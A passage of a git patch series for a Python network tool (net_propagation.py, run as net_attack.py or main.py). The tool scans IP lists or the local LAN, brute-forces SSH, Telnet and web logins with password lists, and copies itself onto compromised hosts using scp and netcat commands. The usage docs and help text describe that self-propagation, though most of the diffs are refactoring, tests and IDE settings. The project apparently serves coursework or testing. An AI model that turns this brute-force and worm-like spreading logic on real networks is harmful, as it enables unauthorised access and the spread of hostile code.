ARGUMENT_IP_ADDRESS_FILENAME + \ - " -> Filename for a file containing a list of " \ - "target IP addresses\n\t" + ARGUMENT_PORTS + \ - " -> Ports to scan on the target host" \ - "\n\t" + ARGUMENT_USERNAME + " -> A username\n\t" + \ - ARGUMENT_PWS_FILENAME + \ - " -> Filename for a file containing " \ - "a list of passwords\n\t" + ARGUMENT_SCAN_LOCAL_NETWORKS + \ - " -> Scans the lan across all " \ - "interfaces and creates/adds to the list of target IP addresses" \ - "\n\t" + ARGUMENT_PROPAGATE + \ - " -> Propagates the script onto available devices and " \ - "executes the script using the given command\nExample usage:\n" \ - "\t./net_attack.py " + ARGUMENT_IP_ADDRESS_FILENAME + \ - " my_ip_list.txt " + ARGUMENT_PORTS + " 22,23,25,80 " + \ - ARGUMENT_USERNAME + " admin " \ - + ARGUMENT_PWS_FILENAME + \ - " my_password_list.txt\n\n\t./net_attack.py " + \ - ARGUMENT_IP_ADDRESS_FILENAME + " ip_list.txt " \ - + ARGUMENT_PORTS + " 22 " + ARGUMENT_USERNAME + " root " + \ - ARGUMENT_PWS_FILENAME + " passwords.txt" - # A string just for tests. RANDOM_STRING = "tests" @@ -440,6 +417,33 @@ def netcat_writer(ip, port, filename): return "nc -w 3 " + str(ip) + " " + str(port) + " < " + filename +def help_output(): + """ + This is the help output for when the user passes in the help parameter + :return: The output itself. + """ + return "Parameters:\n\t" + ARGUMENT_IP_ADDRESS_FILENAME + \ + " -> Filename for a file containing a list of " \ + "target IP addresses\n\t" + ARGUMENT_PORTS + \ + " -> Ports to scan on the target host" \ + "\n\t" + ARGUMENT_USERNAME + " -> A username\n\t" + \ + ARGUMENT_PWS_FILENAME + \ + " -> Filename for a file containing " \ + "a list of passwords\n\t" + ARGUMENT_SCAN_LOCAL_NETWORKS + \ + " -> Scans the lan across all " \ + "interfaces and creates/adds to the list of target IP addresses" \ + "\n\t" + ARGUMENT_PROPAGATE + \ + " -> Propagates the script onto available devices and " \ + "executes the script using the given command\nExample usage:\n" \ + "\t./net_attack.py " + ARGUMENT_IP_ADDRESS_FILENAME + \ + " my_ip_list.txt " + ARGUMENT_PORTS + " " + ALL_PORTS + " " + \ + ARGUMENT_USERNAME + " " + ADMIN + " " + ARGUMENT_PWS_FILENAME + \ + " " + PASSWORDS_LIST + "\n\n\t"./net_attack.py " + \ + ARGUMENT_IP_ADDRESS_FILENAME + " ip_list.txt " \ + + ARGUMENT_PORTS + " 22 " + ARGUMENT_USERNAME + " root " + \ + ARGUMENT_PWS_FILENAME + " passwords.txt" + + def run_script_command(filename, username): """ This function will run the propagation script on another target machine diff --git a/src/test_files/test_file.txt b/src/test_files/file.txt similarity index 100% rename from src/test_files/test_file.txt rename to src/test_files/file.txt diff --git a/src/test_files/test_passwords_list.txt b/src/test_files/passwords_list.txt similarity index 100% rename from src/test_files/test_passwords_list.txt rename to src/test_files/passwords_list.txt From dde6691d61a800ed30f40384857119011f2d17d2 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Tue, 15 Mar 2022 18:27:19 +0000 Subject: [PATCH 44/78] [FIX/UPDATE] String fix, general usage amended in wiki and code. --- docs/wiki/usage/index.md | 15 +++++++++++---- src/strings.py | 15 ++++++++------- src/test_files/{test_ip_list.txt => ip_list.txt} | 0 3 files changed, 19 insertions(+), 11 deletions(-) rename src/test_files/{test_ip_list.txt => ip_list.txt} (100%) diff --git a/docs/wiki/usage/index.md b/docs/wiki/usage/index.md index 87e05ac..0421169 100644 --- a/docs/wiki/usage/index.md +++ b/docs/wiki/usage/index.md @@ -24,8 +24,15 @@ The script will take in the following parameters: Example usage would look like this: ``` -./net_attack.py -t my_ip_list.txt -p 22,23,25,80 -u admin -f my_password_list.txt -./net_attack.py -t ip_list.txt -p 22 -u root -f passwords.txt -./net_attack.py -t ip_list.txt -p 22 -u root -f passwords.txt -d test.txt -./net_attack.py -L -p 22,23 -u root -f passwords.txt -P +# Running the propagation script across numerous services (SSH, Telnet, Web) +./main.py -t src/test_files/ip_list.txt -p 22,23,25,80 -u admin -f src/test_files/passwords_list.txt + +# Running the propagation script just across SSH +./main.py -t src/test_files/ip_list.txt -p 22 -u root -f src/test_files/passwords_list.txt + +# Running the propagation script just across SSH and spreading a specific file. +./main.py -t src/test_files/ip_list.txt -p 22 -u root -f src/test_files/passwords_list.txt -d src/test_files/file.txt + +# Running the propagation script across SSH and Telnet but acquiring IPs through a local scan and then subsequently self propagating. +./main.py -L -p 22,23 -u root -f src/test_files/passwords_list.txt -P ``` \ No newline at end of file diff --git a/src/strings.py b/src/strings.py index c4c9f36..c1f3bd0 100644 --- a/src/strings.py +++ b/src/strings.py @@ -95,7 +95,7 @@ IMPOSSIBLE_ACTION = "It was impossible to bruteforce this IP address and port" # Name of the test IP list file, prepended with src/ for Pytest to work. -IP_LIST = "src/test_files/test_ip_list.txt" +IP_LIST = "src/test_files/ip_list.txt" # Lines to check from the test file. LINES = ["Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed " @@ -435,13 +435,14 @@ def help_output(): "\n\t" + ARGUMENT_PROPAGATE + \ " -> Propagates the script onto available devices and " \ "executes the script using the given command\nExample usage:\n" \ - "\t./net_attack.py " + ARGUMENT_IP_ADDRESS_FILENAME + \ - " my_ip_list.txt " + ARGUMENT_PORTS + " " + ALL_PORTS + " " + \ + "\t./main.py " + ARGUMENT_IP_ADDRESS_FILENAME + \ + " " + IP_LIST + " " + ARGUMENT_PORTS + " " + ALL_PORTS + " " + \ ARGUMENT_USERNAME + " " + ADMIN + " " + ARGUMENT_PWS_FILENAME + \ - " " + PASSWORDS_LIST + "\n\n\t"./net_attack.py " + \ - ARGUMENT_IP_ADDRESS_FILENAME + " ip_list.txt " \ - + ARGUMENT_PORTS + " 22 " + ARGUMENT_USERNAME + " root " + \ - ARGUMENT_PWS_FILENAME + " passwords.txt" + " " + PASSWORDS_LIST + "\n\n\t./main.py " + \ + ARGUMENT_IP_ADDRESS_FILENAME + " " + IP_LIST + " " \ + + ARGUMENT_PORTS + " " + SSH_PORT + " " + ARGUMENT_USERNAME + " " + \ + ROOT + " " + \ + ARGUMENT_PWS_FILENAME + " " + PASSWORDS_LIST def run_script_command(filename, username): diff --git a/src/test_files/test_ip_list.txt b/src/test_files/ip_list.txt similarity index 100% rename from src/test_files/test_ip_list.txt rename to src/test_files/ip_list.txt From f18b4f45a0a425c29ad0a647aec1f0de0fbedd4f Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Tue, 15 Mar 2022 18:39:29 +0000 Subject: [PATCH 45/78] [FIX] Broken references --- src/main.py | 2 +- src/net_propagation.py | 12 ++++++------ src/strings.py | 7 +++++-- src/test_net_propagation.py | 6 +++--- 4 files changed, 15 insertions(+), 12 deletions(-) diff --git a/src/main.py b/src/main.py index 5a73c6e..95cc4be 100755 --- a/src/main.py +++ b/src/main.py @@ -3,7 +3,7 @@ import net_propagation import strings import sys - +# TODO: Make sure comments are accurate. """ - Importing logging to safely log sensitive, error or debug info. - Importing net_propagation for propagating across the network. diff --git a/src/net_propagation.py b/src/net_propagation.py index c72007f..ba0bd38 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -1,5 +1,5 @@ #!/usr/bin/python3 - +# TODO: Make sure comments are accurate. # from scapy.all import * # For use when adding new functionality with scapy, be sure to statically # import when finished, wildcard is just for convenience. @@ -83,6 +83,7 @@ def assigning_values(arguments): arguments.index(strings.ARGUMENT_IP_ADDRESS_FILENAME) + 1] except RuntimeError: logging.error(strings.IP_FILENAME_NOT_FOUND) + return None try: ip_list = convert_file_to_list(ip_addresses_filename) target_ports = arguments[ @@ -387,7 +388,7 @@ def exit_and_show_instructions(): """ This function will print the help screen and show an exit prompt. """ - print(strings.PLS_HELP) + print(strings.help_output()) print(strings.EXITING) @@ -449,7 +450,7 @@ def propagate_script(ip, port, login_string): os.system(strings.scp_command_string(port, login_string_split[0], ip, - strings.PASSWORDS_FILE)) + strings.PASSWORDS_LIST)) client = SSHClient() try: client.set_missing_host_key_policy(RejectPolicy) @@ -480,10 +481,10 @@ def propagate_script(ip, port, login_string): os.path.basename(__file__))) .encode(strings.ENCODE_ASCII)) tel.write((strings.netcat_listener(port, - strings.PASSWORDS_FILE)) + strings.PASSWORDS_LIST)) .encode(strings.ENCODE_ASCII)) os.system((strings.netcat_writer(ip, port, - strings.PASSWORDS_FILE)) + strings.PASSWORDS_LIST)) .encode(strings.ENCODE_ASCII)) tel.write((strings.run_script_command(os.path.basename(__file__), login_string_split[0])) @@ -650,7 +651,6 @@ def try_action(ip, port, target_username, password_list, :param transfer_file_filename: A filename for file to transfer :param arguments: List of user specified arguments """ - logging.info(strings.TESTING_IP_PORT_PAIR) if scan_port(ip, port): logging.info(strings.FOUND_OPEN_IP_PORT_PAIR) action_login_details = try_sign_in(ip, port, target_username, diff --git a/src/strings.py b/src/strings.py index c1f3bd0..9799fce 100644 --- a/src/strings.py +++ b/src/strings.py @@ -1,5 +1,5 @@ #!/usr/bin/python3 - +# TODO: Make sure comments are accurate. """ ===PLEASE READ=== String functions and constants are organised alphabetically. Every string @@ -94,6 +94,9 @@ # Letting the user know a propagation action had failed. IMPOSSIBLE_ACTION = "It was impossible to bruteforce this IP address and port" +# Letting the user know a specified IP file could not be found. +IP_FILENAME_NOT_FOUND = "Could not find the specified IP file" + # Name of the test IP list file, prepended with src/ for Pytest to work. IP_LIST = "src/test_files/ip_list.txt" @@ -131,7 +134,7 @@ # The default password file being used by scripts. # PASSWORDS_FILE = "passwords.txt" # List of dummy passwords -PASSWORDS_LIST = "password_list.txt" +PASSWORDS_LIST = "src/test_files/password_list.txt" # Parameters were used incorrectly, so we're telling the user what to do. PARAMETER_MISUSE = "Parameter misuse, check help text below" diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 14738db..189dc6b 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -1,5 +1,5 @@ #!/usr/bin/python3 - +# TODO: Make sure comments are accurate. import net_propagation import strings @@ -74,7 +74,7 @@ def test_exit_and_show_instructions(capfd): """ net_propagation.exit_and_show_instructions() out, err = capfd.readouterr() - assert out == strings.PLS_HELP + "\n" + strings.EXITING + "\n" + assert out == strings.help_output() + "\n" + strings.EXITING + "\n" def test_file_error_handler(capfd): @@ -88,4 +88,4 @@ def test_file_error_handler(capfd): net_propagation.file_error_handler() out, err = capfd.readouterr() assert out == strings.FILENAME_PROCESSING_ERROR + "\n" \ - + strings.PLS_HELP + "\n" + strings.EXITING + "\n" + + strings.help_output() + "\n" + strings.EXITING + "\n" From 6dffe06ea964e74a00f84f8f52dadb5781500592 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Wed, 16 Mar 2022 08:32:12 +0000 Subject: [PATCH 46/78] [UPDATE] Assigning values test finished, may need fixes and tweaks --- src/strings.py | 66 ++++++++++++++----------------------- src/test_net_propagation.py | 4 +++ 2 files changed, 28 insertions(+), 42 deletions(-) diff --git a/src/strings.py b/src/strings.py index 9799fce..13c7723 100644 --- a/src/strings.py +++ b/src/strings.py @@ -246,48 +246,30 @@ def adding_address_to_interface(specific_address, interface): + str(interface) + "'s subnet." -def arguments_set_one(): - """ - This function contains the first set of arguments used for testing - purposes. This runs the script against all services and four ports - :return : The arguments themselves - """ - return ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, \ - ARGUMENT_PORTS, ALL_PORTS, ARGUMENT_USERNAME, \ - ADMIN, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST - - -def arguments_set_two(): - """ - This function contains the second set of arguments used for testing - purposes. This just runs the scripts against one port / service - :return : The arguments themselves - """ - return ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, \ - ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST - - -def arguments_set_three(): - """ - This function contains the third set of arguments used for testing - purposes, except this time it propagates a specific file over SSH - :return : The arguments themselves - """ - return ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, \ - ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST, \ - ARGUMENT_SPECIFIC_PROPAGATION_FILE, FILE - - -def arguments_set_four(): - """ - This function contains the fourth set of arguments used for testing - purposes, except this time we're running the automated propagation feature - over SSH and Telnet - :return : The arguments themselves - """ - return ARGUMENT_SCAN_LOCAL_NETWORKS, ARGUMENT_PORTS, \ - SSH_AND_TELNET_PORTS, ARGUMENT_USERNAME, ROOT, \ - ARGUMENT_PWS_FILENAME, PASSWORDS_LIST, ARGUMENT_PROPAGATE +def arguments_sets(selection): + """ + This function contains the all sets of arguments used for testing + purposes + :param selection: The argument being called from the function + :return : The argument selected itself. + """ + arguments = { + # This runs the script against all services and four ports + 0: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, ALL_PORTS, + ARGUMENT_USERNAME, ADMIN, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST], + # This just runs the scripts against one port / service + 1: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST], + # This propagates a specific file over SSH + 2: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST, + ARGUMENT_SPECIFIC_PROPAGATION_FILE, FILE], + # This is running the automated propagation feature over SSH and Telnet + 3: [ARGUMENT_SCAN_LOCAL_NETWORKS, ARGUMENT_PORTS, SSH_AND_TELNET_PORTS, + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST, + ARGUMENT_PROPAGATE] + } + return arguments.get(selection, None) def cat_file(filename): diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 189dc6b..7556534 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -62,6 +62,10 @@ def test_assigning_values(): before it does that the bad path is checked by passing in a single argument with no value to get a runtime error. """ + net_propagation.assigning_values(strings.arguments_sets(0)) + net_propagation.assigning_values(strings.arguments_sets(1)) + net_propagation.assigning_values(strings.arguments_sets(2)) + net_propagation.assigning_values(strings.arguments_sets(3)) def test_exit_and_show_instructions(capfd): From b6f657cd7c78f40f2b8c39e1086e500519c6a819 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Wed, 16 Mar 2022 08:48:15 +0000 Subject: [PATCH 47/78] [FIX] Security on password list naming and asserts missing --- src/net_propagation.py | 6 +++--- src/strings.py | 14 +++++++------- src/test_net_propagation.py | 12 ++++++++---- 3 files changed, 18 insertions(+), 14 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index ba0bd38..aa965c7 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -450,7 +450,7 @@ def propagate_script(ip, port, login_string): os.system(strings.scp_command_string(port, login_string_split[0], ip, - strings.PASSWORDS_LIST)) + strings.PWDS_LIST)) client = SSHClient() try: client.set_missing_host_key_policy(RejectPolicy) @@ -481,10 +481,10 @@ def propagate_script(ip, port, login_string): os.path.basename(__file__))) .encode(strings.ENCODE_ASCII)) tel.write((strings.netcat_listener(port, - strings.PASSWORDS_LIST)) + strings.PWDS_LIST)) .encode(strings.ENCODE_ASCII)) os.system((strings.netcat_writer(ip, port, - strings.PASSWORDS_LIST)) + strings.PWDS_LIST)) .encode(strings.ENCODE_ASCII)) tel.write((strings.run_script_command(os.path.basename(__file__), login_string_split[0])) diff --git a/src/strings.py b/src/strings.py index 13c7723..6377679 100644 --- a/src/strings.py +++ b/src/strings.py @@ -134,7 +134,7 @@ # The default password file being used by scripts. # PASSWORDS_FILE = "passwords.txt" # List of dummy passwords -PASSWORDS_LIST = "src/test_files/password_list.txt" +PWDS_LIST = "src/test_files/password_list.txt" # Parameters were used incorrectly, so we're telling the user what to do. PARAMETER_MISUSE = "Parameter misuse, check help text below" @@ -256,17 +256,17 @@ def arguments_sets(selection): arguments = { # This runs the script against all services and four ports 0: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, ALL_PORTS, - ARGUMENT_USERNAME, ADMIN, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST], + ARGUMENT_USERNAME, ADMIN, ARGUMENT_PWS_FILENAME, PWDS_LIST], # This just runs the scripts against one port / service 1: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, - ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST], + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PWDS_LIST], # This propagates a specific file over SSH 2: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, - ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST, + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PWDS_LIST, ARGUMENT_SPECIFIC_PROPAGATION_FILE, FILE], # This is running the automated propagation feature over SSH and Telnet 3: [ARGUMENT_SCAN_LOCAL_NETWORKS, ARGUMENT_PORTS, SSH_AND_TELNET_PORTS, - ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PASSWORDS_LIST, + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PWDS_LIST, ARGUMENT_PROPAGATE] } return arguments.get(selection, None) @@ -423,11 +423,11 @@ def help_output(): "\t./main.py " + ARGUMENT_IP_ADDRESS_FILENAME + \ " " + IP_LIST + " " + ARGUMENT_PORTS + " " + ALL_PORTS + " " + \ ARGUMENT_USERNAME + " " + ADMIN + " " + ARGUMENT_PWS_FILENAME + \ - " " + PASSWORDS_LIST + "\n\n\t./main.py " + \ + " " + PWDS_LIST + "\n\n\t./main.py " + \ ARGUMENT_IP_ADDRESS_FILENAME + " " + IP_LIST + " " \ + ARGUMENT_PORTS + " " + SSH_PORT + " " + ARGUMENT_USERNAME + " " + \ ROOT + " " + \ - ARGUMENT_PWS_FILENAME + " " + PASSWORDS_LIST + ARGUMENT_PWS_FILENAME + " " + PWDS_LIST def run_script_command(filename, username): diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 7556534..2d9c50d 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -62,10 +62,14 @@ def test_assigning_values(): before it does that the bad path is checked by passing in a single argument with no value to get a runtime error. """ - net_propagation.assigning_values(strings.arguments_sets(0)) - net_propagation.assigning_values(strings.arguments_sets(1)) - net_propagation.assigning_values(strings.arguments_sets(2)) - net_propagation.assigning_values(strings.arguments_sets(3)) + assert net_propagation.assigning_values(strings.arguments_sets(0)) is not \ + None + assert net_propagation.assigning_values(strings.arguments_sets(1)) is not \ + None + assert net_propagation.assigning_values(strings.arguments_sets(2)) is not \ + None + assert net_propagation.assigning_values(strings.arguments_sets(3)) is not \ + None def test_exit_and_show_instructions(capfd): From cec48660f63db6d339955438ac812fc401bd91a4 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Wed, 16 Mar 2022 09:02:16 +0000 Subject: [PATCH 48/78] [FIX] This is None maybe? --- src/test_net_propagation.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 2d9c50d..31a6547 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -68,8 +68,7 @@ def test_assigning_values(): None assert net_propagation.assigning_values(strings.arguments_sets(2)) is not \ None - assert net_propagation.assigning_values(strings.arguments_sets(3)) is not \ - None + assert net_propagation.assigning_values(strings.arguments_sets(3)) is None def test_exit_and_show_instructions(capfd): From 66a1b55e577dac00aaca8997306922018d4dedc3 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Wed, 16 Mar 2022 10:33:53 +0000 Subject: [PATCH 49/78] [UPDATE] Updating requirements for tests, adding coverage and test cmd --- .gitignore | 3 ++- requirements.txt | 11 ++++++----- run_tests.sh | 3 +++ 3 files changed, 11 insertions(+), 6 deletions(-) create mode 100644 run_tests.sh diff --git a/.gitignore b/.gitignore index ed54ea2..1e34ae1 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ .idea/workspace.xml .idea/git_toolbox_prj.xml -src/__pycache__ +**/__pycache__ +.coverage diff --git a/requirements.txt b/requirements.txt index 3290537..1dffb1d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,6 +1,7 @@ scapy>=2.4.5 -ipykernel -paramiko -scapy -pytest -requests +ipykernel>=6.9.1 +paramiko>=2.9.2 +scapy>=2.4.5 +pytest>=7.0.1 +requests>=2.27.0 +coverage>=5.6b1 diff --git a/run_tests.sh b/run_tests.sh new file mode 100644 index 0000000..de3e658 --- /dev/null +++ b/run_tests.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +# Linux setup for running the scripts locally. +coverage run -m pytest From 2de9cbaebca3be4a55a2f5957a444e477502a89d Mon Sep 17 00:00:00 2001 From: Andrew <19553807+andrewk10@users.noreply.github.com> Date: Wed, 16 Mar 2022 10:36:42 +0000 Subject: [PATCH 50/78] Revert "Delete .idea directory" This reverts commit 36ded83d74ef4bec7177a3e970599e67bdafc025. --- .idea/.gitignore | 3 + .idea/AutoCompliance.iml | 9 + .idea/codeStyles/codeStyleConfig.xml | 5 + .idea/dbnavigator.xml | 457 ++++++++++++++++++ .../inspectionProfiles/profiles_settings.xml | 6 + .idea/misc.xml | 4 + .idea/modules.xml | 9 + .idea/vcs.xml | 6 + 8 files changed, 499 insertions(+) create mode 100644 .idea/.gitignore create mode 100644 .idea/AutoCompliance.iml create mode 100644 .idea/codeStyles/codeStyleConfig.xml create mode 100644 .idea/dbnavigator.xml create mode 100644 .idea/inspectionProfiles/profiles_settings.xml create mode 100644 .idea/misc.xml create mode 100644 .idea/modules.xml create mode 100644 .idea/vcs.xml diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..26d3352 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,3 @@ +# Default ignored files +/shelf/ +/workspace.xml diff --git a/.idea/AutoCompliance.iml b/.idea/AutoCompliance.iml new file mode 100644 index 0000000..781c7b7 --- /dev/null +++ b/.idea/AutoCompliance.iml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/codeStyles/codeStyleConfig.xml b/.idea/codeStyles/codeStyleConfig.xml new file mode 100644 index 0000000..a55e7a1 --- /dev/null +++ b/.idea/codeStyles/codeStyleConfig.xml @@ -0,0 +1,5 @@ + + + + \ No newline at end of file diff --git a/.idea/dbnavigator.xml b/.idea/dbnavigator.xml new file mode 100644 index 0000000..a110605 --- /dev/null +++ b/.idea/dbnavigator.xml @@ -0,0 +1,457 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/inspectionProfiles/profiles_settings.xml b/.idea/inspectionProfiles/profiles_settings.xml new file mode 100644 index 0000000..105ce2d --- /dev/null +++ b/.idea/inspectionProfiles/profiles_settings.xml @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 0000000..dc9ea49 --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..e33b009 --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..35eb1dd --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file From 734cae2913e1a49a77e25f58cb2d03b488a2ed46 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Wed, 16 Mar 2022 10:47:00 +0000 Subject: [PATCH 51/78] Auto stash before revert of "Delete .idea directory" --- .idea/dbnavigator.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.idea/dbnavigator.xml b/.idea/dbnavigator.xml index a110605..76c4c58 100644 --- a/.idea/dbnavigator.xml +++ b/.idea/dbnavigator.xml @@ -2,7 +2,7 @@ - + From 370523a94608544225580c9c9875954dc1982b8d Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Wed, 16 Mar 2022 10:53:04 +0000 Subject: [PATCH 52/78] [UPDATE] adding .idea to the gitignore file --- .gitignore | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index 1e34ae1..a334d4c 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,3 @@ -.idea/workspace.xml -.idea/git_toolbox_prj.xml +.idea/ **/__pycache__ .coverage From ef10004146620cc4441db9a9f90cfdff20a5de71 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Wed, 16 Mar 2022 17:04:39 +0000 Subject: [PATCH 53/78] [UPDATE] Removed versions for some packages, updated dev_setup --- dev_setup.sh | 3 +-- requirements.txt | 8 ++++---- run_tests.sh | 0 3 files changed, 5 insertions(+), 6 deletions(-) mode change 100644 => 100755 run_tests.sh diff --git a/dev_setup.sh b/dev_setup.sh index cc448b7..43ee686 100755 --- a/dev_setup.sh +++ b/dev_setup.sh @@ -1,4 +1,3 @@ #!/usr/bin/env bash # Linux setup for running the scripts locally. -python3 -m pip install ipykernel paramiko scapy pytest requests -/usr/bin/python3 -m pip install --upgrade pip +python3 -m pip install --upgrade pip ipykernel paramiko scapy pytest requests coverage diff --git a/requirements.txt b/requirements.txt index 1dffb1d..2761738 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,7 +1,7 @@ scapy>=2.4.5 -ipykernel>=6.9.1 -paramiko>=2.9.2 +ipykernel +paramiko scapy>=2.4.5 -pytest>=7.0.1 +pytest requests>=2.27.0 -coverage>=5.6b1 +coverage diff --git a/run_tests.sh b/run_tests.sh old mode 100644 new mode 100755 From bf1f6ade23b74967414477920d9a12fd7b2fb21e Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Wed, 16 Mar 2022 17:28:47 +0000 Subject: [PATCH 54/78] [UPDATE] Started a new test, certainly not finished --- src/test_net_propagation.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 31a6547..1a377b6 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -71,6 +71,15 @@ def test_assigning_values(): assert net_propagation.assigning_values(strings.arguments_sets(3)) is None +def test_check_over_ssh(): + # TODO: Mimic an SSH connection for the happy path. + """ + This function tests the check_check_over_ssh function, it will always fail + for now until I figure out how to mock an SSH connection. + """ + assert check_over_ssh(ip, port, username, password) == False + + def test_exit_and_show_instructions(capfd): """ This function tests the exit_and_show_instructions function. From 10522b07e1b4f90b0fc99cda8200d1bb93a63a26 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Thu, 17 Mar 2022 13:24:39 +0000 Subject: [PATCH 55/78] [FIX/UPDATE] SSH Test and Test Coverage --- .gitignore | 1 + run_tests.sh | 3 +++ src/net_propagation.py | 7 ++++--- src/test_net_propagation.py | 4 +++- 4 files changed, 11 insertions(+), 4 deletions(-) diff --git a/.gitignore b/.gitignore index a334d4c..754e84b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ .idea/ **/__pycache__ .coverage +htmlcov/ \ No newline at end of file diff --git a/run_tests.sh b/run_tests.sh index de3e658..ff87e48 100755 --- a/run_tests.sh +++ b/run_tests.sh @@ -1,3 +1,6 @@ #!/usr/bin/env bash # Linux setup for running the scripts locally. +# See; https://coverage.readthedocs.io/en/6.3.2/ coverage run -m pytest +coverage report +coverage html diff --git a/src/net_propagation.py b/src/net_propagation.py index aa965c7..514bad8 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -3,7 +3,8 @@ # from scapy.all import * # For use when adding new functionality with scapy, be sure to statically # import when finished, wildcard is just for convenience. - +from paramiko import SSHClient, RejectPolicy +from paramiko.ssh_exception import NoValidConnectionsError from scapy.all import get_if_addr from scapy.interfaces import get_if_list from scapy.layers.inet import IP, TCP @@ -11,12 +12,12 @@ from scapy.utils import subprocess, os from telnetlib import Telnet from time import sleep -from paramiko import 